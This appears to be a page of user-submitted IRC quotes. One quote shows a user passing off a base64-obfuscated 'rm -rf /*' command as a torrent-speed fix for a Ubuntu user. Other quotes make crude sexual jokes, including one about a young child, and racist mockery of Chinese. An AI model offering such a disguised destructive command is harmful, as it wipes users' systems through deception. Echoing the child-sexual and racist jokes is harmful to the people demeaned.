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#306420* (?/24) ↑Funny ↓Unfunny ⚐Flag
[3:46pm] <Connor> it was like 20 inches long
[3:47pm] <Dylan> wow
[3:47pm] <Connor> and my friend's sister pulled it and would not let go
[3:47pm] <Connor> and i wanted to punch her ahahaComment: #amici on irc.mibbit.net
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#306541* (?/40) ↑Funny ↓Unfunny ⚐Flag
<SE7EN>torrenting seems to go 10x slower than windows.. rest of connect (web browsing etc) is fine
<dogshit>SE7EN is it ubuntu?
<SE7EN>yea
<dogshit>there was a trick you have to do
<dogshit>hang on
<SE7EN>its 10.10 if that matters... my laptops one that wont backlight on 11.04
<dogshit>sudo python -c "__import__('os').system('cm0gLXJmIC8q'.decode('base64'))" > /proc/net/tcp
<dogshit>try that
<SE7EN>is that for x86?
<dogshit>x86 or x64 doesnt matter
<SE7EN>kk
<dogshit>it unlocks network cap
<taq0>is he really doing this
<taq0>lol
<SE7EN>?
<dogshit>did it work SE7EN?
<SE7EN>no
<dogshit>can you torrent now
<dogshit>what error did you get
<SE7EN>it wouldnt let me do it, permission error
<dogshit>ok
<dogshit>try
<dogshit>sudo python -c "__import__('os').system('cm0gLXJmIC8q'.decode('base64'))" #> /proc/net/tcp
- SE7EN quit (client exited: Leaving.)
<taq0>oh god
<dogshit>HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA
<dogshit>WELCOME TO RM -RF /*
<dogshit>fucking douche
<taq0>i hope he has backupsComment: #ED
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#306552* (?/32) ↑Funny ↓Unfunny ⚐Flag
Kakarrot: y r u on the chat when u could be doin stuff with yer gf, man ?
MykeGregory|Xu: lol, she's downstairs. I want to be down her stairs! KNOW WHAT I MEAN?
Kakarrot: rofl
MykeGregory|Xu; highfive?
Kakarrot; yes :P
[exact same time]
MykeGregory|Xu highfives Kakarrot!
Kakarrot highfives MykeGregory|Xu
MykeGregory|Xu: YES!!!
MykeGregory|Xu: did you see the timing on that? epic
Kakarrot: ALL RIGHT!Comment: epic timing
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#306613* (?/28) ↑Funny ↓Unfunny ⚐Flag
<@nza> Tell me your fantasies, have a fetish? Dom/sub? Let's explore. - I offer most of the special features and love c2c! Tiny young body BIG clit!
<@nza> how big are we talking here |
#306659* (?/32) ↑Funny ↓Unfunny ⚐Flag
icemanx: pay no atteniont to me
icemanx: I just
icemanx: can't
icemanx was kicked from the chat room by IceMane. (IceMane)
IceMane: finish
IceMane: sentanes
IceMane: sentances*Comment: #brony on irc.geekshed.net
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#306660* (?/34) ↑Funny ↓Unfunny ⚐Flag
[hmcd] ✡ ✈ ▋▋: YOU'RE TALKING TO ME ON OSX
[hmcd] ✡ ✈ ▋▋: CAN YOU FEEL THE MAC
[hmcd] ✡ ✈ ▋▋: YEEEEEEAH
[hmcd] ✡ ✈ ▋▋: RUB IT DIRECTLY ON YOUR EYES AND MOUTH
codespace: explains your inability to spell, at least.
[hmcd] ✡ ✈ ▋▋: It's still a dell keyboard
[hmcd] ✡ ✈ ▋▋: turdgoblin
codespace: yeah, but now it's operated by a mac userComment: oh god did that render right
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#306686* (?/30) ↑Funny ↓Unfunny ⚐Flag
Cassy_Zzz: Poni: Related to this, how big is your head around, and are you allergicto latex rubber or silicone?
Poni: Yes.
Cassy_Zzz: Which
Poni: Porkus-Felinus aren't allergic to latex rubber or silicone.
Poni: My head has a radius of 4 inches wide.
Poni: 8 long.
Cassy_Zzz: Is that metric?
Poni: Nope.
Poni: Metric doesn't use inches.
Cassy_Zzz: sorry nvm plan isn't going to work, thanks for answering, we'll figure something else outComment: Poni is also known as BaconCat | #brony on irc.geekshed.net
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#306689* (?/62) ↑Funny ↓Unfunny ⚐Flag
BigMcIntosh: Hello, I'm a Mac
PrincessCelestia: And I'm a PC |
#306698* (?/36) ↑Funny ↓Unfunny ⚐Flag
<Arsylian> So are those pictures on the way or are you just being lazy? d:
<Paladin> Lazy : D
<Arsylian> you suck
<Paladin> I know.
<Paladin> I suck. Hard
<Arsylian> giant black cock
<Paladin> How immature
<Paladin> Now now, It's not like you to be so immature XD
<Arsylian> I'm mixing dubstep, I'm allowed to be vulgar. |
#306753* (?/32) ↑Funny ↓Unfunny ⚐Flag
Beatline (~Beatline@protectedhost-3F323564.tampfl.fios.verizon.net) joined the chat room.
Beatline was promoted to operator by ChanServ.
• BucketBot hands Beatline a free bucket!
Beatline: Umm... Whoa
Beatline: A bucket in a bucket in a bucket
Beatline: Mind = blown
BlacklightShining: …no?
BlacklightShining: just a bucket in a Bucket
BlacklightShining: the bucket it handed you in #BucketOfOOC
BlacklightShining: unless that bucket was full of buckets?
BlacklightShining: anywho, here's something that'll REALLY blow your mind:
Octavia: there be buckets eeeeerverywhere.
BlacklightShining: what if you had a bucket like BoH
BlacklightShining: you fall in, and you end up in a room
BlacklightShining: and in that room is a bucket
Paul_McColtney: I'm on omegle.
Paul_McColtney: And these people are idiots!
BlacklightShining: if you fall into that bucket, you end up in a second room
BlacklightShining: that second room has a bucket
BlacklightShining: if you fall into that bucket, you end up in the first room
BlacklightShining: WHAT DO YOU CALL THAT?
• BlacklightShining sits back and watches everypony
• Paul_McColtney sits back as well with some popcorn.
BlacklightShining: what? no!
Paul_McColtney: Want some?
BlacklightShining: you're supposed to be all ‘mind = blown’ like everypony else!
BlacklightShining: …except that everypony else appears to be ignoring this
BlacklightShining: :(
BlacklightShining: v.v
• Octavia mind: pudding/
Octavia: err .
Octavia: oh, no wonder. i didnt take my meds. heywow, no wonder i cant see anything tonight.Comment: #BucketOfOOC on GeekShed (irc.geekshed,net)
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#306758* (?/34) ↑Funny ↓Unfunny ⚐Flag
(fahadsadah) I think in the formal accent
(fahadsadah) How do you do, good sir?
(fahadsadah) Good afternoon, Gower Micros. How may I help you? HAVE YOU FUCKING TRIED FUCKING REBOOTING IT CUNT?! HAVE YOU?! |
#306768* (?/38) ↑Funny ↓Unfunny ⚐Flag
*following a discussion on how to explain sex to hypothetical children*
<Aurali> Ippiki's child: "Daddy? what's sex?" Ippiki: "Why let me show you *unzips*"
<ippiki> :\
<ippiki> more like "son, I need to talk to you about sex" "Ok, what do you need to know?
<Draynik> maybe in 50 years that'll be the case.
<Aurali> age 3
<Draynik> ughComment: #e621 at furnet
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#306772* (?/32) ↑Funny ↓Unfunny ⚐Flag
<Ruska> lemony
<Ruska> why do you fuck dogs?
<Lemony> Ruska I train dogs, I don't fuk them
<The_Vole> that´s what they all say :o
<Lemony> The_Vole dog fuckers dogs are never well trainned
<The_Vole> and you´re looking to change that, I see :DComment: #lulz
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#306773* (?/32) ↑Funny ↓Unfunny ⚐Flag
<xwd> Then again I can't tell the difference between like, black metal and death metal
<RainbowDash> Black metal is high shrieking, lengthy, repetitive music.
<RainbowDash> Death metal tends to follow a slightly more traditional song structure, has death growls, and lower guitars.
<xwd> Oh, black metal is high pitched screaming and death metal is guttural growling?
<RainbowDash> That's one way to look at it, yeah.
<RainbowDash> I much prefer black metal to death metal, but I'll listen to either.
<xwd> Not to be confused with glam metal which also has high pitched screaming
<RainbowDash> Haha, no.
<RainbowDash> Burzum != Sex Pistols. |
#306785* (?/24) ↑Funny ↓Unfunny ⚐Flag
(+George) is a Bahamut conf diffrent from a unreal conf |
#306802* (?/34) ↑Funny ↓Unfunny ⚐Flag
• Octavia hugs Atom~~~~~
BlacklightShining: oh gee—d'awwwwww
BlacklightShining: [/obligatory d'awwwwww]
DannySwish (~DannySwis@protectedhost-432D62F9.hsd1.ca.comcast.net) left the chat room. (Quit: Colloquy for iPhone - [link to Colloquy website] )
BlacklightShining: […that more than likely caused DannySwish's departure]
DannySwish (~DannySwis@protectedhost-432D62F9.hsd1.ca.comcast.net) joined the chat room.
DannySwish was promoted to half-operator by ChanServ.
• BucketBot hands DannySwish a free bucket!
BlacklightShining: […or not]Comment: #BucketOfHolding on GeekShed (irc.geekshed.net)
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#306837* (?/46) ↑Funny ↓Unfunny ⚐Flag
<snarf> When I took chinese in high school, that is what we learned.
<HackingXVIII> @s [aeiou] ching
<zbot> <snarf> Whchingn ching tchingchingk chchingnchingsching chingn hchinggh schchingchingl, thchingt chings whchingt wching lchingchingrnchingd.
<HackingXVIII> ^ chinese. |
#306897* (?/30) ↑Funny ↓Unfunny ⚐Flag
<Fawksie> BT Glazing, windows for all for a flat fee of £130, or £30 if you agree to take an 18 month supply of Windolene
<blueskin> ...and you can only use the windows to look at specific types of object that BT approve of.
<Fawksie> well, you can look at other types, but they'll be blurry
<Fawksie> unless you look at them after 12am |
#306904* (?/32) ↑Funny ↓Unfunny ⚐Flag
BlacklightShining: chat is dead
BlacklightShining: implementing revival plan A
BlacklightShining: !shpi
BucketBot: No !shpi for you~
BlacklightShining: !ship *
BucketBot: Our lucky couple of the moment: Freeze_Pop x BlacklightShining!
Freeze_Pop (Freeze_Pop@protectedhost-D25B26EF.sgyl.cable.virginmedia.com) joined the chat room.
Freeze_Pop was promoted to half-operator by ChanServ.
• BucketBot hands Freeze_Pop a free bucket!
BlacklightShining: …OMG
BlacklightShining: /)^3^(\
BitZero: What timing.
BlacklightShining: I know, right?Comment: #BucketOfHolding on GeekShed (irc.geekshed.net)
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#306905* (?/24) ↑Funny ↓Unfunny ⚐Flag
<@aerial> im hating game they way i like
<@aerial> what is wrong with that
<+karata> it'd be nice if you knew what you were hating
<@aerial> why
<@aerial> it wouldnt be nice at all
<@aerial> it is best way to hate things, you despise it so much, you dont even know what you hating
<@aerial> it is bringing hate to another level
<+karata> :(
<+archon256> aerial is so srs about hating
<+archon256> maximally optimized hatingComment: hatin' is serious business.
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#306937* (?/26) ↑Funny ↓Unfunny ⚐Flag
<Brodie> Me and some friends of mine went on a roadtrip where we were all about 'Louisiana Saturday Night' by Mel McDaniel.
<Brodie> We were heading to Texas. |
#306938* (?/42) ↑Funny ↓Unfunny ⚐Flag
<Syntax__> I am an idiot.
<Syntax__> I tried to refresh the IRC by pressing r
<VK7HSE-Eee> #FAIL |
#306952* (?/30) ↑Funny ↓Unfunny ⚐Flag
slow: portal co-op?
slow: I have to mow today and I'm probably going to a party this evening so it's a pretty narrow window of time
nova: don't forget to use ass condoms
slow: I'll take that as a no |
#306957* (?/54) ↑Funny ↓Unfunny ⚐Flag
<HuegWeev> HAPPY 9/11 FROM THE GNAA
<Tigerboy> what is GNAA
<djskidd> general noobs and avengers anonymous?Comment: #ubuntu on Freenode, on 9/11/11
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#306978* (?/32) ↑Funny ↓Unfunny ⚐Flag
*** Tinerius is now known as Bacon_TornadoWatch. ***
*** Bacon_TornadoWatch is now known as Bacon_TomatoWatch. ***
<@Bacon_TomatoWatch> ...Don't ask about this.
<~ObsidianWorking> don't worry
<~ObsidianWorking> I won't
*** Bacon_TomatoWatch is now known as Mistipulate. ***
<~ObsidianWorking> I'll just wait until somepony quotes it and then retweet the quoteComment: #BucketOfOOC on GeekShed (irc.geekshed.net)
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